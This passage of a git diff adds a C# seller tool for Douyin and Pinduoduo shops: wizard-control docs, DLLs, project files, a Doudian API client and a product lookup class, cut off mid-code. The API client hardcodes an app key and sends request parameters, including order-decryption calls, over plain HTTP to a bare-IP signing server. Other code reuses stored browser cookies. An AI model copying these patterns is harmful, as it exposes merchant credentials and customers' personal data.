etc) are positioned and resized. + + + + + Gets or sets the header image. Default value is null which means that internal header image is used. You can hide header image + by setting HeaderImageVisible property. + + + + + Gets or sets whether header image is visible. Default value is true. + + + + + Gets or sets wizard button that is clicked when ENTER key is pressed. Default value is eWizardFormAcceptButton.FinishAndNext which + indicates that finish button will be clicked if available otherwise next button will be clicked. + + + + + Gets or sets wizard button that is clicked when ESCAPE key is pressed. Default value is eWizardFormCancelButton.Cancel which + indicates that Cancel button will be clicked. + + + + + Gets or sets whether all buttons are disabled while wizard page is changed which prevents users from clicking the buttons + if page change is taking longer. Default value is true. + + + + + Gets or sets whether wait cursor is displayed while page is changed. Default value is true. + + + + + Gets or sets the selected page index. You can set this property to change the currently selected wizard page. + + + + + Gets or sets selected wizard page. You can set this property to change the currently selected wizard page. + + + + + Gets the collection of Wizard pages. The order of WizardPage objects inside of this collection determines the flow of the wizard. + + + + + Returns a Stack of page history. Each time next page is displayed by wizard, previously visited page is added to the history. + When user commands Wizard back, the last page from the history is shown and removed from the stack. You should not modify this collection + directly since it is maintained by Wizard control. + + + + + Gets or sets the FlatStyle setting for the wizard buttons. Default value is FlatStyle.System + + + + + Gets or sets height of wizard command buttons. Default value is 22 pixels. + + + + + Gets or sets whether back button causes validation to be performed on any controls that require validation when it receives focus. Default value is false. + + + + + Gets or sets tab index of back button. Default value is 1. + + + + + Gets or sets a value indicating whether the user can give the focus to this back button using the TAB key. Default value is true. + + + + + Gets or sets caption of the back button. + + + + + Gets or sets width of the back button. Default value is 74. + + + + + Gets or sets auto size of the button. Default value is false. + + + + + Gets or sets auto size mode of the button. Default value is AutoSizeMode.GrowOnly. + + + + + Gets or sets whether next button causes validation to be performed on any controls that require validation when it receives focus. Default value is true. + + + + + Gets or sets tab index of next button. Default value is 2. + + + + + Gets or sets a value indicating whether the user can give the focus to button using the TAB key. Default value is true. + + + + + Gets or sets caption of the next button. + + + + + Gets or sets width of the next button. Default value is 74. + + + + + Gets or sets auto size of the button. Default value is false. + + + + + Gets or sets auto size mode of the button. Default value is AutoSizeMode.GrowOnly. + + + + + Gets or sets whether button causes validation to be performed on any controls that require validation when it receives focus. Default value is false. + + + + + Gets or sets tab index of the button. Default value is 4. + + + + + Gets or sets a value indicating whether the user can give the focus to button using the TAB key. Default value is true. + + + + + Gets or sets caption of the button. + + + + + Gets or sets width of the button. Default value is 74. + + + + + Gets or sets auto size of the button. Default value is false. + + + + + Gets or sets auto size mode of the button. Default value is AutoSizeMode.GrowOnly. + + + + + Gets or sets whether button causes validation to be performed on any controls that require validation when it receives focus. Default value is true. + + + + + Gets or sets tab index of the button. Default value is 4. + + + + + Gets or sets a value indicating whether the user can give the focus to button using the TAB key. Default value is true. + + + + + Gets or sets caption of the button. + + + + + Gets or sets width of the button. Default value is 74. + + + + + Gets or sets whether finish button is always visible next to the Next button. Default value is false which means that Finish + button will be visible only on last Wizard page and it will replace the Next button. When set to true Finish button is always visible next + to the Next button except on first Welcome wizard page. + + + + + Gets or sets auto size of the button. Default value is false. + + + + + Gets or sets auto size mode of the button. Default value is AutoSizeMode.GrowOnly. + + + + + Gets or sets whether button causes validation to be performed on any controls that require validation when it receives focus. Default value is false. + + + + + Gets or sets whether button is visible. Default value is true. + + + + + Gets or sets tab index of the button. Default value is 5. + + + + + Gets or sets a value indicating whether the user can give the focus to button using the TAB key. Default value is true. + + + + + Gets or sets caption of the button. + + + + + Gets or sets width of the button. Default value is 74. + + + + + Gets or sets auto size of the button. Default value is false. + + + + + Gets or sets auto size mode of the button. Default value is AutoSizeMode.GrowOnly. + + + + + Gets or sets the height of the wizard footer. Default value is 46 + + + + + Gets or sets the height of the wizard header. Default value is 60 + + + + + Gets or sets the header image alignment. Default value is right. + + + + + Gets or sets the header image size for interior wizard pages. Default value is 48x48 + + + + + Gets or sets indentation of header title label. Default value is 16. + + + + + Gets or sets indentation of header description label. Default value is 44. + + + + + + Indicates the font used to render caption header text. + + + + + Gets or sets whether description text displayed in wizard header is visible. + + + + + Gets or sets the header background style. + + + + + Gets or sets the footer background style. + + + + + Returns reference to internal Next button control. + + + + + Returns reference to internal Cancel button control. + + + + + Returns reference to internal Finish button control. + + + + + Returns reference to internal Help button control. + + + + + Returns reference to internal Back button control. + + + + + Gets or sets whether Focus cues on wizard navigation buttons are enabled. Default value is true. + + + + + Gets or sets the visual style used for wizard buttons. + + + + + Provides data for LayoutWizardButtons event. + + + + + Gets or sets bounds of Back button. + + + + + Gets or sets bounds of Next button. + + + + + Gets or sets bounds of Finish button. + + + + + Gets or sets bounds of Cancel button. + + + + + Gets or sets bounds of Help button. + + + + + Creates new instance of the class. + + + + + Creates new instance of the class and initializes it with default values. + + + + + Defines delegate for WizardPageChange events. + + + + + Updates page state when one of the page appearance properties has changed. + + + + + Fires BeforePageDisplayed event. + + Event arguments + + + + Invokes the BeforePageDisplayed event. + + Event arguments + + + + Fires AfterPageDisplayed event. + + Event arguments. + + + + Invokes AfterPageDisplayed event. + + Event arguments + + + + Fires BeforePageDisplayed event. + + Event arguments + + + + Invokes the BeforePageDisplayed event. + + Event arguments + + + + Raises BackButtonClick event. + + Event arguments + + + + Invokes BackButtonClick event. + + + + + Raises NextButtonClick event. + + Event arguments + + + + Invokes NextButtonClick event. + + + + + Raises FinishButtonClick event. + + Event arguments + + + + Invokes FinishButtonClick event. + + + + + Raises CancelButtonClick event. + + Event arguments + + + + Invokes CancelButtonClick event. + + + + + Raises HelpButtonClick event. + + Event arguments + + + + Invokes HelpButtonClick event. + + + + + Occurs before page is displayed. This event can cancel the page change. You can perform any additional setup of the Wizard page in this event. + + + + + Occurs after page has been displayed.This event can cancel the page change. You can perform any additional setup of the Wizard page in this event. + + + + + Occurs after page is hidden. You can perform any additional steps that are needed to complete wizard step in this event. + + + + + Occurs when Back button is clicked. You can cancel any default processing performed by Wizard control by setting Cancel=true on event arguments. + + + + + Occurs when Next button is clicked. You can cancel any default processing performed by Wizard control by setting Cancel=true on event arguments. + + + + + Occurs when Finish button is clicked. You can cancel any default processing performed by Wizard control by setting Cancel=true on event arguments. + + + + + Occurs when Cancel button is clicked. You can cancel any default processing performed by Wizard control by setting Cancel=true on event arguments. + + + + + Occurs when Help button is clicked. You can cancel any default processing performed by Wizard control by setting Cancel=true on event arguments. + + + + + Gets whether page is currently selected page in Wizard. + + + + + Gets or sets whether back button is enabled when page is active. Default value is eWizardButtonState.Auto which indicates that state is + automatically managed by control. + + + + + Gets or sets whether back button is visible when page is active. Default value is eWizardButtonState.Auto. + + + + + Gets or sets whether next button is enabled when page is active. Default value is eWizardButtonState.Auto which indicates that state is + automatically managed by control. + + + + + Gets or sets whether next button is visible when page is active. Default value is eWizardButtonState.Auto. + + + + + Gets or sets whether finish button is enabled when page is active. Default value is eWizardButtonState.Auto which indicates that state is + automatically managed by control. + + + + + Gets or sets whether cancel button is enabled when page is active. Default value is eWizardButtonState.Auto which indicates that state is + automatically managed by control. + + + + + Gets or sets whether cancel button is visible when page is active. Default value is eWizardButtonState.Auto. + + + + + Gets or sets whether help button is enabled when page is active. Default value is eWizardButtonState.Auto which indicates that state is + automatically managed by control. + + + + + Gets or sets whether help button is visible when page is active. Default value is eWizardButtonState.Auto. + + + + + Gets or sets the page header image when page is an interior page, InteriorPage=true. Default value is null. + + + + + Gets or sets the text that is displayed as title in wizard header when page is active. + + + + + Gets or sets the text that is displayed as description in wizard header when page is active. + + + + + Gets or sets the text that is displayed on form caption when page is active. Default value is empty string which indicates that form caption + is not changed when page becomes active. + + + + + Gets or sets whether page is interior page. Interior pages use wizard header area to display page title, description and optional image. They are also padded and do not + fill the client area of the Wizard. Default value is true. + You can set this value to false to hide header area and make page fill the client area of the wizard. + + + + + Gets or sets whether page is visible. Page visibility is managed by Wizard control and it should not be set directly. + + + + + Represents the collection of WizardPage objects which determines the flow of the wizard. + + + + + Adds new object to the collection. + + Object to add. + Index of newly added object. + + + + Adds an array of objects to the collection. + + Array of WizardPage objects. + + + + Inserts new object into the collection. + + Position of the object. + Object to insert. + + + + Returns index of the object inside of the collection. + + Reference to the object. + Index of the object. + + + + Returns whether collection contains specified object. + + Object to look for. + true if object is part of the collection, otherwise false. + + + + Removes specified object from the collection. + + + + + + Copies collection into the specified array. + + Array to copy collection to. + Starting index. + + + + Copies contained items to the WizardPage array. + + Array to copy to. + + + + Copies contained items to the WizardPage array. + + Array to copy to. + + + + Gets the parent this collection is associated with. + + + + + Returns reference to the object in collection based on it's index. + + + + + Returns reference to the object in collection based on it's name. + + + + + Provides data for Wizard Page Change events. + + + + + Specifies the new active wizard page. You can change this argument when handling WizardPageChanging event and provide newly selected page of your own. + + + + + Specifies page that was or currently is active. + + + + + Indicates the wizard button that was source of page change. + + + + + Creates new instance of the class with default values. + + New wizard page + Old or current wizard page + Page change source + + + + Provides data for Wizard Page Change events. + + + + + Allows you to cancel the page change. + + + + + Creates new instance of the class with default values. + + New wizard page + Old or current wizard page + Page change source + + + + Defines delegate for WizardPageChange events. + + + + + Defines delegate for WizardPageChange events. + + +
+
diff --git a/DllReference/Interop.MSScriptControl.dll b/DllReference/Interop.MSScriptControl.dll new file mode 100644 index 0000000..4636836 Binary files /dev/null and b/DllReference/Interop.MSScriptControl.dll differ diff --git a/DllReference/NPOI.OOXML.dll b/DllReference/NPOI.OOXML.dll new file mode 100644 index 0000000..437c11c Binary files /dev/null and b/DllReference/NPOI.OOXML.dll differ diff --git a/DllReference/NPOI.OpenXml4Net.dll b/DllReference/NPOI.OpenXml4Net.dll new file mode 100644 index 0000000..e5c4ec7 Binary files /dev/null and b/DllReference/NPOI.OpenXml4Net.dll differ diff --git a/DllReference/NPOI.OpenXmlFormats.dll b/DllReference/NPOI.OpenXmlFormats.dll new file mode 100644 index 0000000..3a27b21 Binary files /dev/null and b/DllReference/NPOI.OpenXmlFormats.dll differ diff --git a/DllReference/NPOI.dll b/DllReference/NPOI.dll new file mode 100644 index 0000000..baa5eb8 Binary files /dev/null and b/DllReference/NPOI.dll differ diff --git a/DllReference/NaiBa.CefHelper.138.dll b/DllReference/NaiBa.CefHelper.138.dll new file mode 100644 index 0000000..d94640e Binary files /dev/null and b/DllReference/NaiBa.CefHelper.138.dll differ diff --git a/DllReference/NaiBa.CefHelper.67.dll b/DllReference/NaiBa.CefHelper.67.dll new file mode 100644 index 0000000..e440fa2 Binary files /dev/null and b/DllReference/NaiBa.CefHelper.67.dll differ diff --git a/DllReference/NaiBa.CefHelper.79.dll b/DllReference/NaiBa.CefHelper.79.dll new file mode 100644 index 0000000..8fe724d Binary files /dev/null and b/DllReference/NaiBa.CefHelper.79.dll differ diff --git a/DllReference/NaiBa.CefHelper.92.dll b/DllReference/NaiBa.CefHelper.92.dll new file mode 100644 index 0000000..9bc3dc7 Binary files /dev/null and b/DllReference/NaiBa.CefHelper.92.dll differ diff --git a/DllReference/NaiBa.CefHelper.dll b/DllReference/NaiBa.CefHelper.dll new file mode 100644 index 0000000..8fe724d Binary files /dev/null and b/DllReference/NaiBa.CefHelper.dll differ diff --git a/DllReference/NaiBa.Util.Winform.dll b/DllReference/NaiBa.Util.Winform.dll new file mode 100644 index 0000000..9cd29ff Binary files /dev/null and b/DllReference/NaiBa.Util.Winform.dll differ diff --git a/DllReference/NaiBa.Util.Zip.dll b/DllReference/NaiBa.Util.Zip.dll new file mode 100644 index 0000000..5f5fbac Binary files /dev/null and b/DllReference/NaiBa.Util.Zip.dll differ diff --git a/DllReference/NaiBa.Util.dll b/DllReference/NaiBa.Util.dll new file mode 100644 index 0000000..f6ae5ff Binary files /dev/null and b/DllReference/NaiBa.Util.dll differ diff --git a/DllReference/Newtonsoft.Json.dll b/DllReference/Newtonsoft.Json.dll new file mode 100644 index 0000000..55d537f Binary files /dev/null and b/DllReference/Newtonsoft.Json.dll differ diff --git a/DllReference/System.Data.SQLite.DLL b/DllReference/System.Data.SQLite.DLL new file mode 100644 index 0000000..eac60d1 Binary files /dev/null and b/DllReference/System.Data.SQLite.DLL differ diff --git a/DllReference/websocket-sharp.dll b/DllReference/websocket-sharp.dll new file mode 100644 index 0000000..514f867 Binary files /dev/null and b/DllReference/websocket-sharp.dll differ diff --git a/DllReference/zxing.dll b/DllReference/zxing.dll new file mode 100644 index 0000000..6331cd2 Binary files /dev/null and b/DllReference/zxing.dll differ diff --git a/Work/29WxOrderWork.csproj b/Work/29WxOrderWork.csproj new file mode 100644 index 0000000..7513daa --- /dev/null +++ b/Work/29WxOrderWork.csproj @@ -0,0 +1,214 @@ + + + + + + + + + Debug + AnyCPU + {1AD45D66-6872-4522-ACF0-04E2C0514048} + Library + Properties + Work + 29WxOrderWork + v4.5.2 + 512 + true + + + + + + true + full + false + ..\bin\ + DEBUG;TRACE + prompt + 4 + x86 + false + + + pdbonly + true + ..\bin\ + TRACE + prompt + 4 + false + + + true + ..\bin\ + DEBUG;TRACE + full + x86 + prompt + MinimumRecommendedRules.ruleset + + + ..\bin\ + TRACE + true + pdbonly + x86 + prompt + MinimumRecommendedRules.ruleset + + + + False + DLL\DevComponents.DotNetBar2.dll + + + ..\DllReference\NaiBa.CefHelper.dll + + + False + ..\DllReference\NaiBa.Util.dll + + + False + ..\DllReference\Newtonsoft.Json.dll + + + + + + + + + + + + + + + + + + + + + Form + + + BaseForm.cs + + + Form + + + BaseMsgForm.cs + + + + + + + + + + + + + + + + + + + + + + + + + + + + True + True + Resources.resx + + + + + + + + Form + + + TokenForm.cs + + + + + + {6461d807-b1c8-45f0-b388-e0ca1a418de0} + 29WxOrderAllBase + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + BaseForm.cs + + + BaseMsgForm.cs + + + ResXFileCodeGenerator + Resources.Designer.cs + + + TokenForm.cs + + + + + + 这台计算机上缺少此项目引用的 NuGet 程序包。使用“NuGet 程序包还原”可下载这些程序包。有关更多信息,请参见 http://go.microsoft.com/fwlink/?LinkID=322105。缺少的文件是 {0}。 + + + + + + + + + + + \ No newline at end of file diff --git a/Work/29WxOrderWork.csproj.user b/Work/29WxOrderWork.csproj.user new file mode 100644 index 0000000..9b86104 --- /dev/null +++ b/Work/29WxOrderWork.csproj.user @@ -0,0 +1,6 @@ + + + + ShowAllFiles + + \ No newline at end of file diff --git a/Work/AddressSetIni.cs b/Work/AddressSetIni.cs new file mode 100644 index 0000000..ec5af4f --- /dev/null +++ b/Work/AddressSetIni.cs @@ -0,0 +1,47 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using AllBase; + +namespace Work +{ + public class AddressSetIni + { + public static Dictionary> Addresses = new Dictionary>(); + public static List AddressList = new List(); + public void Ini() + { + string file = FileBase.ReadAllText("taobao_address.tjm", Encoding.UTF8); + if (string.IsNullOrEmpty(file)) + { + MessageBox.Show("初始化淘宝地址信息错误,请检查网络", "提示"); + return; + } + var m = BaseRegex.GetMatchRegex(ref file, @"\[""([\d]+)"",\[""([^""]+?)"",""[^""]+?""\],""([\d]+)"""); + for (int i = 0; i < m.Count; i++) + { + AddressBase a = new AddressBase(); + a.Id = int.Parse(m[i].Groups[1].Value); + a.Name = m[i].Groups[2].Value; + a.UpId = int.Parse(m[i].Groups[3].Value); + AddressList.Add(a); + if (!Addresses.ContainsKey(a.Id)) + Addresses.Add(a.Id, new List()); + if (!Addresses.ContainsKey(a.UpId)) + Addresses.Add(a.UpId, new List()); + Addresses[a.UpId].Add(a); + } + } + } + + public class AddressBase + { + public int Id = 0; + public string Name = ""; + public int UpId = 0; + //public Dictionary Address = new Dictionary(); + } +} diff --git a/Work/Api/DouYinApi.cs b/Work/Api/DouYinApi.cs new file mode 100644 index 0000000..f43775b --- /dev/null +++ b/Work/Api/DouYinApi.cs @@ -0,0 +1,320 @@ +using AllBase; +using AllBase.Model.Result; +using Newtonsoft.Json; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Work.Api +{ + public class DouyinApi + { + public Dictionary Data = new Dictionary(); + public Dictionary JsonData = new Dictionary(); + public DouShopLoginInfo Shop = null; + public string Type, Name; + public string path = ""; + public static string Gate = "https://openapi-fxg.jinritemai.com/"; + public DouyinApi(DouShopLoginInfo shop) + { + Shop = shop; + } + + public string GetDataDouyin() + { + + return ""; + } + /// + /// 订单备注 + /// + /// + public string AddOrderRemark() + { + path = "/order/addOrderRemark"; + Type = "order.addOrderRemark"; + string html = GetData(); + return html; + } + /// + /// 售后 + /// + /// + public string GetAfterSaleOrder() + { + path = "/afterSale/List"; + Type = "afterSale.List"; + string html = GetData(); + return html; + } + /// + /// 脱敏 + /// + /// + public string GetOrderbatchSensitive() + { + path = "/order/batchSensitive"; + Type = "order.batchSensitive"; + string html = GetData(); + return html; + } + public string GetOrderBatchDecrypt() + { + path = "/order/batchDecrypt"; + Type = "order.batchDecrypt"; + string html = GetData(); + return html; + } + public string GetOrderList() + { + path = "/order/searchList"; + Type = "order.searchList"; + string html = GetData(); + return html; + } + + public string GetOrderDetail() + { + path = "/order/orderDetail"; + Type = "order.orderDetail"; + string html = GetData(); + return html; + } + + /// + /// 读取售后详情 + /// + /// + public string GetAfterSaleDetail() + { + path = "/afterSale/Detail"; + Type = "afterSale.Detail"; + string html = GetData(); + return html; + } + public string GetShopBrandList() + { + path = "/shop/brandList"; + Type = "shop.brandList"; + string html = GetData(); + return html; + } + public string GetOrderLogisticsCompanyList() + { + path = "/order/logisticsCompanyList"; + Type = "order.logisticsCompanyList"; + string html = GetData(); + return html; + } + + public string GetAddressProvince() + { + path = "/address/getProvince"; + Type = "address.getProvince"; + string html = GetData(); + return html; + } + + public string GetAreasByProvince(string province_id) + { + path = "/address/getAreasByProvince"; + Type = "address.getAreasByProvince"; + JsonData["province_id"] = province_id; + string html = GetData(); + return html; + } + + public string AfterSaleOperate() + { + path = "/afterSale/operate"; + Type = "afterSale.operate"; + string html = GetData(); + return html; + } + + + /// + /// 物流发货 + /// + /// + public string OrderLogisticsAdd() + { + path = "/order/logisticsAdd"; + Type = "order.logisticsAdd"; + string html = GetData(); + return html; + } + + public string CreateOrder() + { + path = "/logistics/newCreateOrder"; + Type = "logistics.newCreateOrder"; + string html = GetData(); + return html; + } + + public string GetDataJson() + { + StringBuilder stringBuilder = new StringBuilder(); + foreach (string current in JsonData.Keys) + { + if (JsonData[current].ToString().Contains("{")) + { + stringBuilder.AppendFormat((stringBuilder.Length > 0) ? ",\"{0}\":{1}" : "\"{0}\":{1}", current, JsonData[current].ToString()); + } + else + { + stringBuilder.AppendFormat((stringBuilder.Length > 0) ? ",\"{0}\":\"{1}\"" : "\"{0}\":\"{1}\"", current, JsonData[current].ToString()); + } + } + string json = "{" + stringBuilder.ToString() + "}"; + return json; + } + + public string GetDataSignPara() + { + StringBuilder stringBuilderData = new StringBuilder(); + foreach (string current in Data.Keys) + { + if (Data[current] == null) + { + break; + } + if (current == "access_token" || current == "sign" || current == "param_json") { + continue; + } + stringBuilderData.AppendFormat((stringBuilderData.Length > 0) ? ",\"{0}\":\"{1}\"" : "\"{0}\":\"{1}\"", current, Data[current].ToString()); + } + string param = "{" + stringBuilderData.ToString() + "}"; + return param; + } + public string GetDataFxgPara() + { + StringBuilder stringBuilderData = new StringBuilder(); + foreach (string current in Data.Keys) + { + if (Data[current] == null) + { + break; + } + stringBuilderData.AppendFormat((stringBuilderData.Length > 0) ? "&{0}={1}" : "{0}={1}", current, Data[current].ToString()); + } + string param = stringBuilderData.ToString(); + return param; + } + + //public string GetData() + //{ + // #region 获取接口数据 + // string json = GetDataJson(); + // string timestamp =BaseClass.DateTimeToTimestampSeconds(DateTime.Now).ToString(); + // //json = HttpUtility.UrlEncode(json, Encoding.UTF8); + // #endregion + // int time = BaseClass.ConvertDateTimeInt(DateTime.Now) + BaseClass.TimeDifferent; + // string time1 = UserLogin.Encryptionxx(time); + + // #region 获取sign + // string param_json = JsonConvert.SerializeObject(JsonData); + // Data["method"] = Type; + // Data["path"] = path; + // Data["param_json"] = HttpUtility.UrlEncode(param_json, Encoding.UTF8); + // Data["shop_name"] = Shop.ShopName; + // Data["time"] = time.ToString(); + // Data["code"] =time1; + // #endregion + // #region 提交抖店 + + // string fxgPara = GetDataFxgPara(); + // string urlx = BaseClass.ApiUrl + "/doudian-api.php"; + // string datax = fxgPara; + // string htmlx = GetHtml.PostUtf8(urlx, datax); + // return htmlx; + // #endregion + //} + public string GetData() + { + #region 获取接口数据 + string json = GetHtml.UrlEncodeUtf8(GetDataJson()); + // string timestamp = BaseClass.DateTimeToTimestampSeconds(DateTime.Now).ToString(); + //json = HttpUtility.UrlEncode(json, Encoding.UTF8); + #endregion + int time = BaseClass.ConvertDateTimeInt(DateTime.Now) + BaseClass.TimeDifferent; + string time1 = UserLogin.Encryptionxx(time); + #region 获取sign + string timestamp = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss"); + Data["app_key"] = "7016502755254683171"; //Shop.AppKey; + Data["timestamp"] = timestamp; + Data["method"] = Type; + Data["v"] = "2"; + string param = GetHtml.UrlEncodeUtf8(GetDataSignPara()); + + string url = "http://103.90.155.35:54"+(new Random().Next(10,20))+ "/sign.php?act=signature"; + //string url = BaseClass.DouYinBuildObjString("sign&act=signature"); + string data = UserLogin.GetSignaturex() + "¶m_json="+ json + "" + + "¶ms=" + param + "&service=2"; + string html = GetHtml.PostUtf8(url, data); + string sign = BaseRegex.GetStringJson(ref html, "sign"); + #endregion + + #region 提交抖店 + + Data["param_json"] =json; + Data["access_token"] = Shop.AccessToken; + Data["sign"] = sign; + string fxgPara = GetDataFxgPara(); + string urlx = "https://openapi-fxg.jinritemai.com/" + Type.Replace(".", "/") + "?app_key=7016502755254683171×tamp=" + timestamp+ "&method=" + Type + "&v=2¶m_json=" + json + "&access_token=" + Shop.AccessToken + "&sign=" + sign; + string datax = fxgPara; + string htmlx = GetHtml.PostUtf8(urlx, datax); + return htmlx; + #endregion + } + + + public string GetGuanFangData(string types) + { + #region 获取接口数据 + string json = GetDataJson(); + json = HttpUtility.UrlEncode(json, Encoding.UTF8); + #endregion + #region 获取sign + string timestamp = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss"); + Data["app_key"] = "7016502755254683171";//Shop.AppKey; + Data["timestamp"] = timestamp; + Data["method"] = types; + Data["v"] = "2"; + string param = GetDataSignPara(); + string url = BaseClass.DouYinBuildObjString("sign&act=signature"); + string data = UserLogin.GetSignaturex() + "¶m_json=" + "" + json + "" + + "¶ms=" + param + "&service=2"; + string html = GetHtml.PostUtf8("http://192.168.8.191:82/index.php?obj=douyin/sign&act=signature", data); + string sign = BaseRegex.GetStringJson(ref html, "sign"); + #endregion + #region 提交抖店 + Data["param_json"] = json; + Data["access_token"] = Shop.AccessToken; + Data["sign"] = sign; + string fxgPara = GetDataFxgPara(); + string urlx = "https://openapi-fxg.jinritemai.com/" + types.Replace(".", "/")+ "?app_key=7016502755254683171×tamp=" + timestamp+ "&method="+types+ "&v=2¶m_json" + json+ "&access_token=" + Shop.AccessToken+ "&sign="+ sign; + string datax = fxgPara; + string htmlx = GetHtml.PostUtf8(urlx, datax); + return htmlx; + #endregion + } + + + + } + + public class setModel{ + public string method { get; set; } + public string path { get; set; } + public string param_json { get; set; } + public string token { get; set; } + public string shop_name { get; set; } + + public string time { get; set; } + public string code { get; set; } + } +} diff --git a/Work/Api/JumpUpProductNew.cs b/Work/Api/JumpUpProductNew.cs new file mode 100644 index 0000000..3b74d7d --- /dev/null +++ b/Work/Api/JumpUpProductNew.cs @@ -0,0 +1,734 @@ +using System; +using System.Collections.Generic; +using System.Text; +using System.Threading; +using AllBase; + +namespace Work.Api +{ + public class JumpUpProductNew + { + public static Dictionary> ShouZhangXinTb = new Dictionary>(); + public static Dictionary> ShouZhangXinPdd = new Dictionary>(); + public UpShopIdBase UpId = new UpShopIdBase(); + public ShopChatBase Shop = null; + public string Good_Sn = ""; + public string Html = ""; + public string OutGoodId = ""; + + public JumpUpProductNew(ShopChatBase shop) + { + Shop = shop; + } + + public JumpUpProductNew() + { + } + + public void GetUrl(string url) + { + string pidCode = "", idx = ""; + UpId.SiteId = 2; + string cookies = BaseClass.ChromeCookies; + int maillId = BaseClass.MallId; + if (Shop != null) + { + cookies = Shop.Cookies; + maillId = Shop.MallId; + } + if (!string.IsNullOrEmpty(Shop.ExpireTime) && Convert.ToDateTime(Shop.ExpireTime) < BaseClass.GetServerTimeString().Date) + { + UpId.Message = "店铺授权过期"; + return; + } + + long proId = 0; + if (!string.IsNullOrEmpty(OutGoodId) && (OutGoodId.Contains("PBB") || OutGoodId.Contains("TJM") || OutGoodId.Contains("TJH"))) + { + pidCode = OutGoodId; + goto End; + } + if (!string.IsNullOrEmpty(url)) + { + string id = BaseRegex.GetMatchRegexString(url, @"([\d]{5,15})"); + string pid = "0"; + if (string.IsNullOrEmpty(id)) + { + UpId.Message = "没有找到拼多多ID"; + return; + } + proId = long.Parse(id); + if (UpShopIdFromServer.UpIds.ContainsKey(proId)) + { + UpId = UpShopIdFromServer.UpIds[proId]; + UpId.GetOk = true; + return; + } + + + if (string.IsNullOrEmpty(pidCode) || pidCode.Contains("wait:")) + { + string urlx = "https://mms.pinduoduo.com/glide/v2/mms/query/commit/on_shop/detail"; + string data = "{\"goods_id\":\"" + id + "\"}"; + string htmlx = GetPostTaobaoHtml.UploadTaobaoPost(urlx, "https://mms.pinduoduo.com/", true, data, + cookies); + pidCode = BaseRegex.GetStringJson(ref htmlx, "out_goods_sn"); + if (!string.IsNullOrEmpty(pidCode) && !pidCode.Contains("wait:")) + goto End; + } + if (GetServerId(proId, out idx)) + { + DeCode(idx); + return; + } + if (string.IsNullOrEmpty(pidCode) || pidCode.Contains("wait:")) + { + string urlx = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList"; + string data = "{\"order_by\":\"id:desc\",\"goods_id\":\"" + id + "\",\"size\":15,\"page\":1,\"mall_id\":" + maillId + "}"; + string htmlx = GetPostTaobaoHtml.UploadTaobaoPost(urlx, "https://mms.pinduoduo.com/Pdd.html", true, data, + cookies); + pidCode = BaseRegex.GetStringJson(ref htmlx, "out_goods_sn"); + if (!string.IsNullOrEmpty(pidCode) && !pidCode.Contains("wait:")) + goto End; + } + url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList"; + string date = "{\"sort_by\":\"id\",\"sort_type\":\"DESC\",\"goods_id\":\"" + id + + "\",\"size\":15,\"page\":1,\"mall_id\":" + maillId + "}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, "https://mms.pinduoduo.com/Pdd.html", true, date, + cookies); + //url = "https://mms.pinduoduo.com/malls/" + maillId + "/goodsList?sort_by=id&sort_type=DESC&goods_id=" + id + "&size=15&page=1"; + // html = GetPostTaobaoHtml.UploadTaobao(url, "https://mms.pinduoduo.com/Pdd.html", true, cookies); + Good_Sn = BaseRegex.GetStringJson(ref html, "goods_sn"); + + if (string.IsNullOrEmpty(Good_Sn)) //没有上家 + { + Thread.Sleep(5 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, "https://mms.pinduoduo.com/Pdd.html", true, date, + cookies); + Good_Sn = BaseRegex.GetStringJson(ref html, "goods_sn"); + } + if (string.IsNullOrEmpty(Good_Sn)) //没有上家 + { + Thread.Sleep(20 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, "https://mms.pinduoduo.com/Pdd.html", true, date, + cookies); + if (!string.IsNullOrEmpty(html)) + { + Good_Sn = BaseRegex.GetStringJson(ref html, "goods_sn"); + } + } + if (string.IsNullOrEmpty(Good_Sn)) //没有上家 + { + //message = "查询无数据"; + UpId.Message = "未查询到产品id,请点选正确的店铺"; + //AddToTemp(proId); + return; + } + } + + #region 防止获取不到产品Id + //李尹添加 + //if (string.IsNullOrEmpty(pidCode)) + //{ + // //获取包含✅的上传记录 + // long idUp = proId; + // string urlUp = "https://mms.pinduoduo.com/glide/v2/mms/query/commit/list"; + // string referex = "https://mms.pinduoduo.com/goods/goods_record"; + // string datax = "{\"check_status\":2,\"start\":0,\"length\":10,\"goods_id\":" + idUp + "}"; + // //第一页匹配结果 + // string htmlUp = GetPostTaobaoHtml.UploadTaobaoPost(urlUp, referex, true, datax, cookies); + // int allCount = BaseRegex.GetIntJson(ref htmlUp, "total"); + // int page = allCount / 10 + (allCount % 10 > 0 ? 1 : 0); + // long editId = 0; + // for (int j = 1; j <= page; j++) + // { + // if (editId > 0) + // { + // break; + // } + // if (j != 1) + // { + // datax = "{\"check_status\":2,\"start\":" + (j - 1) * 10 + ",\"length\":10,\"goods_id\":" + idUp + "}"; + // htmlUp = GetPostTaobaoHtml.GetJsonPost(urlUp, referex, true, datax, cookies); + // } + // var m = BaseRegex.GetMatchRegex(ref htmlUp, @"\{([\w\W]+?)\}"); + // for (int k = 0; m != null && k < m.Count; k++) + // { + // string list = m[k].Groups[0].Value; + // string goods_name = BaseRegex.GetStringJson(ref list, "goods_name"); + // if (string.IsNullOrEmpty(goods_name) || goods_name.Contains("✅")) + // { + // editId = BaseRegex.GetLongJson(ref list, "id"); + // break; + // } + // } + // } + // string urlx = "https://mms.pinduoduo.com/glide/v2/mms/query/commit/detail/" + editId; + // string htmlx = GetPostTaobaoHtml.UploadTaobao(urlx, "https://mms.pinduoduo.com/goods/goods_add/index?id=" + editId + "&type=edit", true, cookies); + // pidCode = BaseRegex.GetStringJson(ref htmlx, "out_goods_sn"); + // if (!string.IsNullOrEmpty(pidCode)) + // goto End; + //} + #endregion + + url = "https://mms.pinduoduo.com/glide/v2/mms/query/commit/on_shop/detail"; + Html = GetPostTaobaoHtml.UploadTaobaoPost(url, "https://mms.pinduoduo.com/Pdd.html", true, + "{\"goods_sn\":\"" + Good_Sn + "\"}", cookies); + if (!string.IsNullOrEmpty(Html) && 